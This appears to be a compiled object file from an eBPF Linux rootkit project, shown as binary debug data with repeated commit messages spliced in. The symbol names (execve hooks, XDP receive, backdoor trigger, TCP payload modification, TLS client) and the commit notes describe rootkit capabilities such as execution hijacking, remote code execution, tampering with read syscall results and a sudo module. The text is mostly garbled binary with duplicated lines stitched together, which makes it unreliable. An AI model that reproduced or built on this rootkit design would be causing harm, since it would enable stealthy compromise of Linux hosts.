&I  : ; 9  : ; 9 I8 : ; 9 <I!I/ 7I4: ; 9 I?< : ; 9 I8 'II : ;9  : ;9 I8  : ; 9 > I: ; 9 (  : ;9 I8 &(( : ; 9   : ; 9 ! : ; 9 I8"> I: ; 9 #!I/$: ; 9 I%4: ; 9 I&4: ; 9 I'.?: ; 9 'I@<18>B(: ; 9 I)
: ; 9 *.: ; 9 'I@<18>B+: ; 9 I,.: ; 9 '@<18>B-.: ; 9 '@<18>B..?: ; 9 '@<18>B/ 0!I/1
: ;9 2.: ; 9 'I@<18>B3
Completed message sharing, starting with protocol now
2022-05-05 22:14:28 -04:00
: ; 9 4.: ; 9 '@<18>B,<00><00><01> .outputuser/include/utils/networkuser/usr/lib/gcc/x86_64-linux-gnu/10/include/usr/include/x86_64-linux-gnu/bits/usr/include/x86_64-linux-gnu/bits/types/usr/include/usr/include/asm-generic.output/bpfuser/../commonuser/include/modules/usr/include/netinet/usr/include/openssl/usr/include/arpakit.skel.hssl_client.hkit.c<built-in>stddef.htypes.hstruct_FILE.hFILE.hstdio.hgetopt_core.hargp.htime_t.hstruct_tm.hresource.hstdint-uintn.hint-ll64.hlibbpf.h socket_type.hsockaddr.hsocket.hmap_common.h
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
module_manager.h in.h netdb.hossl_typ.h ssl.h nameser.h <03><05> vtY<02><03>$5<1A>/
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
uu<05>LX Mb>$ <09>Y2 K<01>2 <09><01>.$<24>/
u<10><08>
<EFBFBD> <0B> <09> <0A><11>;<3B>'t/<'t
Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted
2022-02-18 09:08:54 -05:00
<EFBFBD><08><05><03><12><03><13><11>L <09>J<03> <09>J<11>L <09>J<03> <09>J<11>L <09>J<03> <09>J<11>K <09>J<14>L <09>J<03> <09>J<11>K <09>J<14>M<12>><3E>)t1<)t <0B><08><05><03><13><03><15><13>K<15><13>L
Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done
2022-02-06 14:15:57 -05:00
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted
2022-02-18 09:08:54 -05:00
<EFBFBD>J<13>L
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
<EFBFBD>J<03>
<EFBFBD>J<13>K
Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted
2022-02-18 09:08:54 -05:00
<EFBFBD>J<13> L
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<EFBFBD> <03><13><03>kt<<03>  <09>Y2<03>j.( <0A><><EFBFBD> <0C> <09>Y<05><>"X<05><> "<08>Y<><11>(u<1B><<h<08>K<><4B>" "Yg<06>LC
)<08> +Y<07> <20><0E><08><08> <20><0E><08><08><><1D><05> <08><08>/<08><03><>
Completed message sharing, starting with protocol now
2022-05-05 22:14:28 -04:00
<EFBFBD>Y(<03>~X<05>u <0B><><05><08>
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
<EFBFBD><05>
<08><><05><08>\?g#ft<
K u<08>&4<><10><06>K<08><01>!j
Completed message passing of commands to userspace via ebpf ringbuffer
2022-05-05 13:22:47 -04:00
<EFBFBD>uD <t<19><02><07><02> <08><07>EK<03> 0
<EFBFBD> <0C>
<EFBFBD> <0C>
<EFBFBD> <0C>
Completed message sharing, starting with protocol now
2022-05-05 22:14:28 -04:00
<EFBFBD>Y (<03>M<>0H<08><03>
Completed message passing of commands to userspace via ebpf ringbuffer
2022-05-05 13:22:47 -04:00
+ wY<06>w/<10> YI !<08><05><><10>u 1<><31><08> <0A><08><><EFBFBD>b<><08>#<23><>[ <05>u
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<08><08><06>=g<08>^&u(<28>!<21>vv<08><06>.?<07>$uu<08>2<08> /?gu z.<08>J!<04>f vYrequestifindexhandle_tp_sys_exit_read_____fmt_25handle_tp_sys_exit_read_____fmt_26ipv4_csum_____fmthandle_tp_sys_exit_read_____fmt_28handle_tp_sys_exit_read_____fmt_29handle_tp_sys_enter_execve_____fmt_34handle_tp_sys_enter_execve_____fmt_35handle_tp_sys_enter_execve_____fmt_36handle_tp_sys_enter_execve_____fmt_37handle_tp_sys_enter_execve_____fmt_38_shortbufnamex509_sthandle_sched_process_exec_IO_lock_tinputstderrformattm_yday_IO_buf_endargp_stateoptoptchild_inputsrlim_tflagsxdp_receive_____fmt_20xdp_receive_____fmt_21xdp_receive_____fmt_22xdp_receive_____fmt_23xdp_receive_____fmt_24sockaddrbpf_programhandle_tp_sys_exit_read_____fmt_30_IO_write_endunsigned intrlimitnexthandle_tp_sys_enter_execve_____fmt_42handle_tp_sys_enter_execve_____fmt_44handle_tp_sys_enter_execve_____fmt_45handle_tp_sys_enter_execve_____fmt_46handle_tp_sys_enter_execve_____fmt_47handle_tp_sys_enter_execve_____fmt_48handle_tp_sys_enter_execve_____fmt_49user/kit.c_IO_codecvt_flagsexec_module_attrtest_write_user_unique_____fmtmanage_backdoor_trigger_v1_____fmt_67root_argpfs_openh_addr_listlevel__rlimit_resourcetm_mdayshort intns_s_udlibbpf_print_fnclient_runGNU C17 10.3.0 -mtune=generic -march=x86-64 -g -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protectionhandle_tp_sys_enter_execve_____fmt_50btf_custom_pathrlim_maxhandle_tp_sys_enter_execve_____fmt_53handle_tp_sys_enter_execve_____fmt_54handle_tp_sys_enter_execve_____fmt_55handle_tp_sys_enter_execve_____fmt_56handle_tp_sys_enter_execve_____fmt_57EXITtest_write_user_unique_____fmt_60test_write_user_unique_____fmt_61test_write_user_unique_____fmt_62test_write_user_unique_____fmt_63test_write_user_unique_____fmt_64SOCK_RDM__RLIMIT_LOCKSuint32_tprint_help_dialogmodify_payload_____fmt_79module_config_t__RLIM_NLIMITStm_mongp_offset_IO_save_endSSL_METHODmessagemmapedCOMMANDhandle_tp_sys_enter_execve_____fmt_39long long unsigned inthandle_tp_sys_exit_read_____fmtserverrelaxed_core_relocsoverflow_arg_areassl_method_stcleanuprelaxed_mapsexpand_tcp_packet_payload_____fmtkit_bpf__open_opts__RLIMIT_NPROC_IO_read_base__uint16_tfs_module_attrkit_bpf__bsskconfigrb_eventexec_moduleLIBBPF_WARN_offsetin_port_tmodify_payload_____fmttp_sys_enter_openatINFO_filenolibbpf_print_levelexpand_tcp_packet_payload_____fmt_73sin_zeroexpand_tcp_packet_payload_____fmt_75expand_tcp_packet_payload_____fmt_76expand_tcp_packet_payload_____fmt_77s_addrdata_sizeargp_optionsize_tsa_family_targs_doc_IO_write_base_markersmanage_backdoor_trigger_v1_____fmt_69handle_tp_sys_enter_execve_____fmt_40cert_Boolxdp_receive__RLIMIT_NICEargcxdp_module_attrsin_family_IO_write_ptrbyteskit_bpf__loadkit_bpfh_addrtypecodeexpand_tcp_packet_payload_____fmt_74prog_cnth_lengthmodule_config__RLIMIT_OFILEmapssin_addr__socket_typecharobject_name__rlim_t_modemap_cnt__RLIMIT_NLIMITSns_s_max_IO_read_ptrbpf_linkdataerr_streamSOCK_DCCPxdp_receive_____fmt_1xdp_receive_____fmt_2xdp_receive_____fmt_3xdp_receive_____fmt_4xdp_receive_____fmt_5xdp_receive_____fmt_6xdp_receive_____fmt_7xdp_receive_____fmt_8xdp_receive_____fmt_9time_targp_domainns_s_znSOCK_PACKEThandle_tp_sys_enter_execve_____fmt_51handle_tp_sys_enter_execve_____fmt_52prog_skel_szbpf_object_freeres_listtp_sys_enter_execvehostnamerlim_cur_IO_markerSOCK_DGRAMlong long inth_namesig_handlerhelp_filterRLIMIT_COREsin_portsched_module_attrheaderhandle_tp_sys_exit_read_____fmt_27SSL_CTXevent_type__RLIMIT_RSSh_aliasesring_buffer__RLIMIT_MSGQUEUE_freeres_bufX509_IO_backup_basemanage_backdoor_trigger_v1_____fmtLIBBPF_INFO__pad0RLIMIT_AS__pad5bpf_prog_skeletonprogshandle_tp_sys_enter_execve_____fmtRLIMIT_FSIZEhandle_tp_sys_enter_execve_____fmt_41_vtable_offsetssl_stargpoptargargsargvlong doubleattach_prog_fduint16_tparser__ns_sectgroup__u32
Completed message sharing, starting with protocol now
2022-05-05 22:14:28 -04:00
Nz^
<00><00><00><00>
<00><00>
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<00>  <00><00>m<00><00> <00>o+<Pfry<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> &+AShry<00><00><00><00><00>C <00><00><00><00><00><00><00><00><00><00> <00><00> 18FYkw<00><00>kit.ckit_bpf__destroykit_bpf__open_optskit_bpf__create_skeletonkit_bpf__openkit_bpf__loadbuf.0envlibbpf_print_fnbump_memlock_rlimitexitingsig_handlerhandle_rb_event_GLOBAL_OFFSET_TABLE_bpf_object__destroy_skeletoncallocbpf_object__open_skeletonbpf_object__load_skeletonclient_runOPENSSL_init_sslOPENSSL_init_cryptoTLSv1_2_client_methodSSL_CTX_newstderrERR_print_errors_fpabortgethostbynameperrorsockethtonscloseSSL_newSSL_set_fdSSL_connectsprintfSSL_get_current_cipherSSL_CIPHER_get_nameSSL_get_peer_certificateputsX509_get_subject_nameX509_NAME_onelineX509_get_issuer_nameX509_freestrlenSSL_writeSSL_readSSL_freeSSL_CTX_free__stack_chk_failprint_help_dialogvfprintfsetrlimitfwriteexitlocaltimestrftimemainoptargif_nametoindexoptoptgetoptlibbpf_set_printsignalmodule_configmodule_config_attrsetup_all_modulesbpf_map__fdring_buffer__newring_buffer__pollring_buffer__free.<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Z<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>y<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00> <00> * +s :<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> FF `<00> r<00> <00> <00>a <00><00> <00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>%<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>O<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>g <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>o!<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>{ <00><><00> <00><><00>"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>#<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>%<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><00> <00><><00>"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>#<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)'<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>c(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>t)<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>%<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><00>*<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><00> <00><><00>"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>#<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>7 <0C>D.<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>U y<>_"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>n/<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>v0<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><00>"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1<00>
Completed message sharing, starting with protocol now
2022-05-05 22:14:28 -04:00
"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>E
 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>X
><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
?<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
 <00><><00>
Completed message sharing, starting with protocol now
2022-05-05 22:14:28 -04:00
@<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
A<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+ B<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>7 C<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>M  <00><>Z D<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  <00><><00> "<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  <05> "<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>%  !<21>* 2<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>6  ?<3F>; <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>P  I<>Z "<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  l<><00> "<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! F<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>) G<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>3 F<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>=  <00><>G "<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>X  <00><>] %<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>g A<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> =<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> A<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> H<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  <00><><00> "<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> A<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> H<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  <00><><00> "<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> A<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> =<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> A<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  <07>I<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>J<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/K<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>@K<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>W <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>k <14>p@<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <<3C><00>@<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>L<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>M<00>M<00>L<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>L<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>M<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>N<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>O<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>P<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>5 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I d<>N@<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>W <00><>\2<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>oQ<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>R<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Fixed keys of trigger packet V1, added sample servers, fixed client bug
2022-05-05 17:52:58 -04:00

Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<00>
<00>
<00>)
Fixed keys of trigger packet V1, added sample servers, fixed client bug
2022-05-05 17:52:58 -04:00
.
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00

<
QA
wM
dY
<00>e
q
<00><00>
<00><00>
g<00>
'<00>
<00>
<00><00>
<00><00>
u<00>
4<00>
<00><00>
<00>
<00> <00>
<
r 
o
<00>*
<00> 7
<00>D
<00>Q

^
<00>
k
<00>x
<00>
<00><00>
<00><00>
W<00>
n<00>
.
<00>
<00><00>
. <00>
<00><00>
c<00>
<00>

l!
F.
<00>;
qH
%U
5 b
Eo
<00>|
<00> <00>
<00>
<00><00>
<00><00>
i <00>
<00><00>
M
<00>
7!
<00>-
E9
<00> F
vm
<00><00>
}<00>
<00><00>
<00><00>
L<00>
<00>
<00>
C
<00>
<00>$
<00>2
<00>@
<00>N
<00>\
j
vx
<00> <00>
<00><00>
<00><00>
2<00>
=<00>
l<00>

<00>
<00><00>
<00> <00>
<00> 
<00>$
21
<00>>
<00> L
}<00>
<00> <00>
:<00>
<00><00>
<00><00>
<00><00>
]<00>
A<00>
<00>
Fixed keys of trigger packet V1, added sample servers, fixed client bug
2022-05-05 17:52:58 -04:00

Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<00>
V$
<00>1
)A
 H
<00>m
p
<00>
<00><00>
<00><00>
<00><00>
<00> <00>
<00>
0<00>
G <00>
<00><00>
<00>
z<00>
<00><00>
x<00>
3<00>
<00>
<00>
<00><00>
<00><00>
<00> <00>
N<00>
<00><00>
<00> 
` 
{&
c2
 >
<00>\
Ha
6 s
<00>y
<00>
<00><00>
<00><00>
w <00>
=<00>
<00>
Q<00>
T<00>
<00><00>
k
Completed message sharing, starting with protocol now
2022-05-05 22:14:28 -04:00
<00>
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00

* #
x.
N3
A
v]
<00>r
<00><00>
v<00>
L<00>
<00><00>
<00> <00>
<00>
v<00>
<00> <00>
<00>
<00> #
<00>1
V ?
' M
 [
<00><00>
d <00>
<00><00>
t <00>
<00><00>
<00><00>
<00><00>
<00> <00>
<00> <00>
<00><00>
_<00>

<00>
o<00>
 <00>
<00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<00>*
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
V7
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<00>D
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
h
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<00>u
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
_<00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<00><00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
 <00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
C <00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<00>
<00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<00><00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
_<00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<00><00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
 <00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
C 
<00>

<00>
<00>*
<00>8
EE
mR
<00> _
<00> l
 y
& <00>
< <00>
R <00>
h <00>
~ <00>
<00> <00>
<00>
2<00>
I<00>
`<00>
w
<00>
<00>%
<00>3
<00>A
<00>O
]
*k
Ay
X<00>
<00><00>
<00>
3<00>
<00> <00>
h<00>
<00><00>
<00><00>
<00><00>
<00>
<00>
<00>!
 /
F=
<00>K
]
Y
<00>g
<00>u
<00><00>
<00>
@<00>
f<00>
<00><00>
<00><00>
E<00>
<00> <00>
<00> <00>
<00>
<00>
<00>
<00>+
9
<00>G
U
<00>c
Gq
i
<00><00>
<00><00>
<00><00>
g<00>
&<00>
7
<00>
<00><00>
<00>
J<00>
I 
 
w '
<00> 5
<00> C
VQ
<00>_
$>
<00>
K
<00>e
V r
<00>
<00><00>
<00>
) <00>
<00><00>
B<00>
<00><00>
<00><00>
<00><00>
<00> 
<00>
<00>
(
M
<00>g
<00>
u
<00><00>
<00><00>
<00><00>
_<00>
<00><00>
 <00>
<00><00>
C 
>
<00>!
<00>.
<00>;
<00>I
>U
<00>
b
o
<00>}
<00> <00>
><00>
<00><00>
><00>
<00><00>
><00>
<00>
<00><00>
<00><00>
<00>
<00>
<00>#
/
9 ;
)G
<00>S
1`
<00> n
<00>z
<00><00>
<00>
<00>
<00> <00>
[ <00>
n <00>
<00><00>
<00> <00>
<00>
<00>

0 
^
R'
{8
+=
<00> I
<00>T
{e
'p
s<00>
<00><00>
<00> <00>
9<00>
<00><00>
,<00>
<00><00>
_<00>
<00> <00>
<00><00><00>
<00><00><00>
I<00> 
<00>
+
CH
<00>f
<00>
5<00><00><00>
'<00>
A<00><00>
<00>
<00> <00>
<00> 8
<00> ?<00>
f
cm^
<00>
<00><00>
<00><00>
<00>
j<00>
<00><00>
><00>
<00>C 
<00> 
<00>0
<00>;<00>R
W b
[<00>
<00><00> <00>
<00>
<00>
'<00>
<00>
<00><00> 
<00>

<00>)
q
<00>|<00><00><00><00>
<00>
<00><00><00>
<00><00><00>
lC3
<00>X<00>h
o
Completed message sharing, starting with protocol now
2022-05-05 22:14:28 -04:00
<00> @C`<00><00><00><00><00><00><00><00>C 
^
@<00>
`<00>
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
